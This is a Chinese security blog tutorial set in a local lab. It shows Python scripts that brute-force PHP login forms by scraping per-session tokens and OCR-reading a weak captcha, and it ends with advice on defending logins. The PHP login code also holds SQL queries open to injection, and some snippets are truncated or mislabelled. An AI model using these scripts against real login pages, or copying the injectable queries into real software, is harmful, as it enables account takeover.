查看原文
其他

python的反反暴力破解

2017-12-04 hl0rey 合天智汇


走过路过,不要错过这个公众号哦!

本文转自公众号:信安之路本文适合刚刚学完 python,光听别人说强大,但是自己没有直观感受过的人。介绍两种防暴力破解的方法,以及用 py 的绕过方法。(暂不考虑 sql 注入,不谈机器学习。)


虽然繁琐的认证不一定意味着安全,但是方便省事的认证往往意味着不安全。

暴力破解漏洞是广泛存在的,危害较大的漏洞。虽然利用该漏洞需要付出的时间成本可能难以接受,但是如果结合社会工程学,完全可能将不能接受的时间降到可接受的范围,所以其危害不容小觑。

环境要求

系统:

kali linux

软件版本:

php7

mysql5.6

python3

搭建步骤:

1、首先数据库导入 data.sql,这是所有的测试数据。

CREATE DATABASE test_data;


USE test_data;


CREATE TABLE `users` (


  `id` INT(10)  UNSIGNED AUTO_INCREMENT,

  `username` VARCHAR(40) NOT NULL,

  `password` VARCHAR(64) NOT NULL,

  PRIMARY KEY (`id`)


)ENGINE=InnoDB DEFAULT CHARSET=utf8;



INSERT INTO `users` (username, password) VALUES ('admin',password('admin'));

INSERT INTO `users` (username, password) VALUES ('jack',password('password'));   


2、搭建被测试的网页用 Phpstudy 即可,把所有 php 文件放入网站根路径,确保能够正常访问。或者直接在 kali 里,比较方便,直接把这几个脚本放一块,然后在当前路径执行 php -S 127.0.0.1:80,就完事了。Py 脚本可以随意,只要执行起来方便就行。


3、php 生成验证码需要安装 gd 扩展,python3 验证码识别,需要安装 tesseract-ocr。

4、Code.php 是生成二维码用的。

代码都做了注释,有兴趣可以看一看。

form.php

简简单单的一个带token的表单。

<?php

session_start();//开启session


//生成token的函数

function token(){

    $rand=rand();//生成一个随机数

    $times=time();//获取当前时间戳

    //echo $rand.'<br>';

    //echo $times.'<br>';

    $token=md5($rand+$times);//取两者之和的md5

    $_SESSION['token']=$token;//将token放在session里,这样可以防止客户端伪造token


    return $token;


}



?>


<html>

<head>

    <meta charset="UTF-8">

</head>

<body>


<form action="burteforce2.1.php" method="post">

    <input type="text" name="username">

    <input type="password" name="password">

    <input type="hidden" name="token" value="<?php echo token(); ?>"><!--输出token的值隐藏在表单里,在用户提交表单的时候会一并提交-->

    <input type="submit" value="submit">


</form>


</body>


</html>



form.php

简简单单的又一个表单。

<html>

<head>

    <meta charset="UTF-8">

</head>

<body>


<form action="bruteforce2.2.php" method="post">

    <input type="text" name="username">

    <input type="password" name="password">

    <input type="text" name="code">

    <img src="code.php">

    <input type="submit" value="submit">


</form>


</body>

burteforce2.1.php

处理带 token 的登录请求的脚本

<?php

session_start();



//建立数据库连接,不做多做解释

$host='localhost';

$port=3306;

$user='root';

$pass='';

$db='test_data';


$conn=new mysqli($host,$user,$pass,$db,$port);


if ($conn->connect_error){


    die('数据库连接失败');


}else{


    $conn->query('SET NAMES utf-8;');


}


//global $token;

//

//

//if (!isset($_SESSION['token'])){

//    $token=token();

//    $_SESSION['token']=$token;

//}

//检测POST过来的数据是否是完整的

if (isset($_POST['username']) and isset($_POST['password']) and isset($_POST['token'])){


    //生成的token放在session里

    if ($_POST['token']!=$_SESSION['token']){

        //如果客户端提交上来的token和session里的token不同的话,删除token,直接停止脚本执行

        unset($_SESSION['token']);

        die("非法请求!!!");


    }


    $username=$_POST['username'];

    $password=$_POST['password'];



    $sql="SELECT * FROM `users` WHERE `username`='".$username."' AND `password`=password('".$password."');";


    $result=$conn->query($sql);


    echo $conn->error;


    //如果数据为0行,那么证明没有查到数据,数据库不存在该账户和密码的组合

    if ($result->num_rows==0){

        echo "登录失败!";

    }


    //如果查到了,就把查到的信息都打印出来

foreach ($result as $row) {

    echo $row['id']."<br>";

    echo $row['username'];


}


    //删除token,防止爆破token

    unset($_SESSION['token']);


}


?>

burteforce2.2.php

处理带验证码的登录请求的脚本

<?php

session_start();



//建立数据库连接,这个不用多做解释

$host='localhost';

$port=3306;

$user='root';

$pass='';

$db='test_data';


$conn=new mysqli($host,$user,$pass,$db,$port);


if ($conn->connect_error){


    die('数据库连接失败');


}else{


    $conn->query('SET NAMES utf-8;');


}






//检测提交过来的数据是否完整

if (isset($_POST['username']) and isset($_POST['password']) and isset($_POST['code'])){



    //提交过来的验证码是否和服务器session里保存的验证码一致

    if ($_POST['code']!=$_SESSION['code']){


        die("非法请求!!!");


    }


    //接下来跟上一个一样

    $username=$_POST['username'];

    $password=$_POST['password'];



    $sql="SELECT * FROM `users` WHERE `username`='".$username."' AND `password`=password('".$password."');";


    $result=$conn->query($sql);


    echo $conn->error;


    if ($result->num_rows==0){

        echo "登录失败!";

    }

    foreach ($result as $row) {

        echo

Code.php

生成二维码的脚本

<?php


//这个脚本不用太了解


//header('Content_Type:text/html;charset=utf-8');

//开启session,整个验证基于session

session_start();

//生成验证码图片,设置包头告诉浏览器这是个图片

Header("Content-type: image/PNG");

//创建一个基于调色板的图像

$im = imagecreate(44, 18);

//给生成的图像

$back = ImageColorAllocate($im, 245, 245, 245);

//背景

imagefill($im, 0, 0, $back);

//生成四位的随机数字

srand((double)microtime() * 1000000);

//定义一个变量来存储生产的验证码

global $vcodes;

for ($i = 0; $i < 4; $i++) {

    $font = ImageColorAllocate($im, rand(100, 255), rand(0, 100), rand(100, 255));

    $authnum = rand(1, 9);

    $GLOBALS['vcodes'] .= $authnum;

    imagestring($im, 5, 2 + $i * 10, 1, $authnum, $font);

}

for ($i = 0; $i < 100; $i++) //加入干扰象素

{

    $randcolor = ImageColorallocate($im, rand(0, 255), rand(0, 255), rand(0, 255));

    imagesetpixel($im, rand(), rand(), $randcolor);

}

ImagePNG($im);

ImageDestroy($im);

$_SESSION['code'] = $GLOBALS['vcodes'];

?>

burteforce2.1.py

暴力破解带 token 的认证

#!/usr/bin/python3
# coding=utf-8

import requests #做web请求的库
from bs4 import BeautifulSoup #处理html的库
# import argparse
import threading #多线程库
import sys

#表单的url
formurl = 'http://127.0.0.1/2.1form.php'
#处理登录请求的url
loginurl = 'http://127.0.0.1/burteforce2.1.php'
#请求包头
headers = {

   'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '

                 r'Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3',

   'Referer': r'http://www.lagou.com/zhaopin/Python/?labelWords=label',

   'Connection': 'keep-alive'
}
#代理,可用可不用,方便burpsuite抓包分析的
proxies = {
   'http': 'http://127.0.0.1:8080'
}


#获取token的函数
def gettoken(page):
   #将传进来的html页面传给BeautifulSoup
   soup = BeautifulSoup(page, 'html.parser')
   # print(soup.prettify())
   #从页面中找出所有的表单输入
   token = soup.find_all("input")
   #返回的数组有三个元素,而由表单结构可知,第三个输入是我们要获取的token,所以取数组下标为2的元素
   token = str(token[2])
   #找右边的地一个引号,因为从表单结构可知,token是被双引号包裹的,又知道md5值长度是32,再根据数组”包左不包右“的性质,容易得出token值的范围
   r = token.rfind('"')
   l = r - 32
   token = token[l:r]
   return token

#尝试登录的函数
def login(username, password):
   #token机制是基于session的,session是基于cookies的,所以一定要开启requests的session功能
   res = requests.session()
   #取得页面
   page = res.get(formurl)
   #获取token
   token = gettoken(page.text)
   #构造post的数据
   data = {'username': username, 'password': password, 'token': token}
   #使用同一个requests对象,在同一个session里进行登录
   #使用代理
   #result = res.post(loginurl, data=data, proxies=proxies)
   #不使用代理
   result = res.post(loginurl, data=data)
   #打印出登录结果, 以及页面长度,基于长度判断的话比较好筛选结果
   print(password + " -> " + result.text.strip('\n').strip('\r') + " -> " + str(len(result.text)))


#获取密码字典的文件对象
def getdict(file):
   dict = []
   try:
       f = open(file, "r")
       for p in f.readlines():
           dict.append(p)

       return dict
   except:
       print('文件异常')

#获取命令行参数
#爆破的用户名
username = sys.argv[1]
#密码字典的文件名
passfile = sys.argv[2]
# t=args.thread
# tpool=[]
file = getdict(passfile)
#遍历字典
for p in file:
   #将取出的结果转换成字符串
   p = str(p)
   #去掉特殊符号
   p = p.strip().strip('\n').strip('\r')
   #多线程破解
   t = threading.Thread(target=login, args=(username, p))
   # tpool.append(tt)
   t.start()
   # 用了join会稍微慢点,但是安全,和不用多线程速度差不多,如此join多线程的意义不大。
   t.join()

burteforce2.2.py

#!/usr/bin/python3

#codeing=utf-8


import requests

import sys

from PIL import Image #图片处理的库

from pytesseract import * #图片文字识别库,若要正常使用需要首先安装好tesseract-ocr,否则会报错

import os


#选择在此处开启session的原因是为了保证整个程序流程都使用同一个session

res=requests.session()

codeurl='http://127.0.0.1/code.php'

loginurl='http://127.0.0.1/bruteforce2.2.php'

headers = {


    'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '


                  r'Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3',


    'Referer': r'http://www.lagou.com/zhaopin/Python/?labelWords=label',


    'Connection': 'keep-alive'

}

proxies = {

    'http': 'http://127.0.0.1:8080'

}


#把验证码图片保存为临时文件

def getcode(res):

    #res=requests.session()

    res=res.get(codeurl)


    f=open('tmp.png','wb').write(res.content)



#图片转文字的函数

def parsecode(image='tmp.png'):

    #创建一个Image对象

    im=Image.open(image)

    #将图像转化为灰度图

    lim=im.convert('L')

    #直接识别,简单粗暴,因为此验证码太简单了。233333333

    text=image_to_string(lim)

    #删除临时文件

    os.remove('tmp.png')

    return text


#把上面两个函数整合起来了

def stringcode(res):

    getcode(res)

    return parsecode()



#登录的函数

def login(username, password,res):

    #res = requests.session()

    #将全局变量res传进去,整个流程都用一个session

    #以下就都一样了

    code=stringcode(res)

    data = {'username': username, 'password': password, 'code': code}

    #result = res.post(loginurl,data=data, proxies=proxies)

    result = res.post(loginurl, data=data)

    print(password + " -> " + result.text.strip('\n').strip('\r') + " -> " + str(len(result.text)))



def getdict(file):

    dict = []

    try:

        f = open(file, "r")

        for p in f.readlines():

            dict.append(p)


        return dict

    except:

        print('文件异常')



def main():

    #爆破的用户名

    username=sys.argv[1]

    #字典文件的名字

    passfile=sys.argv[2]


    for p in open(passfile,'r'):

        p=p.strip().strip('\n').strip('\r')

        login(username,p,res)



if __name__ == '__main__':

    main()


密码字典从 kali 里随便找一个。


测试:


一、随机生成 token,作为隐藏输入,藏在表单之中,每次访问都获取新的 token,妄图防御了基于数据包重放的暴力破解。然而在强大的 python 面前并没有什么卵用。

测试步骤:

把文件放到网站跟路径,运行 py 脚本

一片喜闻乐见的登录失败。但是,仔细一看,其中有条结果的页面长度与其他不同

去正常登录尝试一下,admin 是 admin 的密码


二、绕过验证码防御基于数据包重放的暴力破解攻击。纯数字,混淆力度不够,经过处理后可以被识别,或者根本不用处理即可被识别。

测试步骤和上边没有差别,就是脚本名换了换。

写在最后的话

防范暴力破解还有其他的办法,例如如果一个 IP 地址频繁失败登录就限制其访问,或者如果一个帐号频繁登录失败就锁定该帐号,除非再次激活,否则不能继续正常使用。

但是这两种办法都有弊端,前者可以用构建一个代理池的办法来绕过(本地不好演示),后者会影响用户的正常使用。所以说,采取何种办法来防御,需要权衡。

其实最好的办法是设置一个足够强的密码,一个系统无论打了多少补丁,按了多少个防火墙,它的密码如果是 1234, 那么一切都等于零。

别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

重金悬赏 | 合天原创投稿奖励来啦!

    合天智汇

网址 : www.heetian.com

电话:4006-123-731

长按图片,据说只有颜值高的人才能识别哦→

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存